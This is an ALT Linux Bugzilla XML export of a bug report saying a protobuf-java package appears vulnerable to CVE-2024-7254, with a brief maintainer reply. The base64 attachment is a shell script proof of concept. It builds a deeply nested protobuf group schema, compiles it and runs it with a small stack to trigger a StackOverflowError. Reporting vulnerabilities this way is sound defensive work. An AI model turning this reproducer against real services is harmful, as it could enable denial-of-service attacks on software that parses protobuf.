<?xml version="1.0" encoding="UTF-8" ?>

<bugzilla version="5.2"
          urlbase="https://bugzilla.altlinux.org/"
          
          maintainer="jenya@basealt.ru"
>

    <bug>
          <bug_id>56306</bug_id>
          
          <creation_ts>2025-10-07 18:31:21 +0300</creation_ts>
          <short_desc>StackOverflowError при парсинге вложенных групп</short_desc>
          <delta_ts>2025-10-07 19:05:24 +0300</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>4</classification_id>
          <classification>Development</classification>
          <product>Sisyphus</product>
          <component>protobuf</component>
          <version>unstable</version>
          <rep_platform>x86_64</rep_platform>
          <op_sys>Linux</op_sys>
          <bug_status>ASSIGNED</bug_status>
          <resolution></resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords></keywords>
          <priority>P5</priority>
          <bug_severity>normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter name="Vladislav Glinkin">glinkinvd</reporter>
          <assigned_to name="manowar@altlinux.org">manowar</assigned_to>
          <cc>grenka</cc>
    
    <cc>manowar</cc>
    
    <cc>root</cc>
    
    <cc>sbolshakov</cc>
    
    <cc>scala</cc>
    
    <cc>shaba</cc>
          
          <qa_contact>qa-sisyphus</qa_contact>

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>274062</commentid>
    <comment_count>0</comment_count>
      <attachid>19719</attachid>
    <who name="Vladislav Glinkin">glinkinvd</who>
    <bug_when>2025-10-07 18:31:21 +0300</bug_when>
    <thetext>Created attachment 19719
скрипт

Версия пакета: protobuf-java-3.25.5-alt6

Шаги воспроизведения:
1) Выполнить скрипт из вложения:
$ ./exploit_cve_2024_7254_option1.sh

Фактический результат:
java.lang.StackOverflowError
        at java.base/java.lang.ClassLoader.addClass(ClassLoader.java:322)
        at java.base/java.lang.ClassLoader.defineClass1(Native Method)
        at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1027)
...

Ожидаемый результат:
Выполнение без ошибок

Дополнительно:
На версии из p10 (protobuf-java-3.16.0-alt1.p10.4 (p10+382451.200.5.1)) данное поведение не воспроизводится. Складывается впечатление, будто пакет уязвим для CVE-2024-7254.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>274066</commentid>
    <comment_count>1</comment_count>
    <who name="manowar@altlinux.org">manowar</who>
    <bug_when>2025-10-07 19:05:24 +0300</bug_when>
    <thetext>Спасибо за сообщение! А как будто специально исправляли...</thetext>
  </long_desc>
      
          <attachment
              isobsolete="0"
              ispatch="0"
              isprivate="0"
          >
            <attachid>19719</attachid>
            <date>2025-10-07 18:31:21 +0300</date>
            <delta_ts>2025-10-07 18:31:21 +0300</delta_ts>
            <desc>скрипт</desc>
            <filename>exploit_cve_2024_7254_option1.sh</filename>
            <type>application/x-shellscript</type>
            <size>3827</size>
            <attacher name="Vladislav Glinkin">glinkinvd</attacher>
            
              <data encoding="base64">IyEvYmluL2Jhc2gKCnNldCAtZQoKV09SS19ESVI9JChta3RlbXAgLWQpCmNkICIkV09SS19ESVIi
CgpjYXQgPDwnUFJPVE8nID50ZXN0X2V4cGxvaXQucHJvdG8Kc3ludGF4ID0gInByb3RvMiI7Cgpt
ZXNzYWdlIFZ1bG5lcmFibGVNZXNzYWdlIHsKICBvcHRpb25hbCBncm91cCBMZXZlbDEgPSAxIHsK
ICAgIG9wdGlvbmFsIGdyb3VwIExldmVsMiA9IDEgewogICAgICBvcHRpb25hbCBncm91cCBMZXZl
bDMgPSAxIHsKICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDQgPSAxIHsKICAgICAgICAgIG9w
dGlvbmFsIGdyb3VwIExldmVsNSA9IDEgewogICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZl
bDYgPSAxIHsKICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDcgPSAxIHsKICAgICAg
ICAgICAgICAgIG9wdGlvbmFsIGdyb3VwIExldmVsOCA9IDEgewogICAgICAgICAgICAgICAgICBv
cHRpb25hbCBncm91cCBMZXZlbDkgPSAxIHsKICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBn
cm91cCBMZXZlbDEwID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBM
ZXZlbDExID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbmFsIGdyb3VwIExldmVs
MTIgPSAxIHsKICAgICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDEz
ID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDE0
ID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbmFsIGdyb3VwIExldmVs
MTUgPSAxIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBM
ZXZlbDE2ID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBn
cm91cCBMZXZlbDE3ID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9w
dGlvbmFsIGdyb3VwIExldmVsMTggPSAxIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDE5ID0gMSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDIwID0gMSB7CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbmFsIGdyb3VwIExldmVsMjEg
PSAxIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25h
bCBncm91cCBMZXZlbDIyID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDIzID0gMSB7CiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbmFsIGdyb3VwIExldmVsMjQgPSAx
IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvcHRp
b25hbCBncm91cCBMZXZlbDI1ID0gMSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBvcHRpb25hbCBncm91cCBMZXZlbDI2ID0gMSB7CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbmFsIGdy
b3VwIExldmVsMjcgPSAxIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgb3B0aW9uYWwgaW50MzIgZHVtbXkgPSAxOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAg
ICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAg
ICAgICAgfQogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgfQogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICB9CiAg
fQp9ClBST1RPCgpta2RpciAtcCBjb20vZXhhbXBsZQpwcm90b2MgLS1qYXZhX291dD1jb20vZXhh
bXBsZSB0ZXN0X2V4cGxvaXQucHJvdG8KYXdrICdCRUdJTiB7cHJpbnQgInBhY2thZ2UgY29tLmV4
YW1wbGU7In0ge3ByaW50fScgY29tL2V4YW1wbGUvVGVzdEV4cGxvaXQuamF2YSA+IGNvbS9leGFt
cGxlL3RlbXAKbXYgY29tL2V4YW1wbGUvdGVtcCBjb20vZXhhbXBsZS9UZXN0RXhwbG9pdC5qYXZh
CgpKQVJfUEFUSD0iL3Vzci9zaGFyZS9qYXZhL3Byb3RvYnVmL3Byb3RvYnVmLWphdmEuamFyIiAj
INCf0YPRgtGMINC6INGC0LXRgdGC0LjRgNGD0LXQvNC+0LzRgyBSUE0t0L/QsNC60LXRgtGDCmph
dmFjIC1jcCAiJEpBUl9QQVRIOi4iIC4vY29tL2V4YW1wbGUvVGVzdEV4cGxvaXQuamF2YSA+L2Rl
di9udWxsIDI+JjEKCmNhdCA8PCdKQVZBJyA+VGVzdFZ1bG5lcmFiaWxpdHkuamF2YQppbXBvcnQg
Y29tLmV4YW1wbGUuVGVzdEV4cGxvaXQuVnVsbmVyYWJsZU1lc3NhZ2U7CgpwdWJsaWMgY2xhc3Mg
VGVzdFZ1bG5lcmFiaWxpdHkgewogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nW10g
YXJncykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIC8vINCS0YvQt9GL0LLQsNC10Lwg0L/Q
sNGA0YHQuNC90LMgKNCyINGD0Y/Qt9Cy0LjQvNGL0YUg0LLQtdGA0YHQuNGP0YUg0LzQvtC20LXR
giDQv9GA0LjQstC10YHRgtC4INC6IHN0YWNrIG92ZXJmbG93KQogICAgICAgICAgICBWdWxuZXJh
YmxlTWVzc2FnZSBtZXNzYWdlID0gVnVsbmVyYWJsZU1lc3NhZ2UucGFyc2VGcm9tKG5ldyBieXRl
WzBdKTsKICAgICAgICAgICAgU3lzdGVtLm91dC5wcmludGxuKCJQYXJzaW5nIHN1Y2NlZWRlZCAo
bm90IHZ1bG5lcmFibGU/KSIpOwogICAgICAgIH0gY2F0Y2ggKFRocm93YWJsZSB0KSB7CiAgICAg
ICAgICAgIFN5c3RlbS5lcnIucHJpbnRsbigiRXhjZXB0aW9uIGR1cmluZyBwYXJzaW5nIChwb3Rl
bnRpYWwgdnVsbmVyYWJpbGl0eSBkZXRlY3RlZCk6Iik7CiAgICAgICAgICAgIHQucHJpbnRTdGFj
a1RyYWNlKCk7CiAgICAgICAgfQogICAgfQp9CkpBVkEKCmphdmFjIC1jcCAiJEpBUl9QQVRIOi4i
IFRlc3RWdWxuZXJhYmlsaXR5LmphdmEKamF2YSAtWHNzMTM3ayAtY3AgIiRKQVJfUEFUSDouIiBU
ZXN0VnVsbmVyYWJpbGl0eQoKZWNobyAi0KLQtdGB0YIg0LfQsNCy0LXRgNGI0LXQvS4g0J/RgNC+
0LLQtdGA0YzRgtC1INCy0YvQstC+0LQg0L3QsCDQvdCw0LvQuNGH0LjQtSBTdGFja092ZXJmbG93
RXJyb3IuIgo=
</data>

          </attachment>
      

    </bug>

</bugzilla>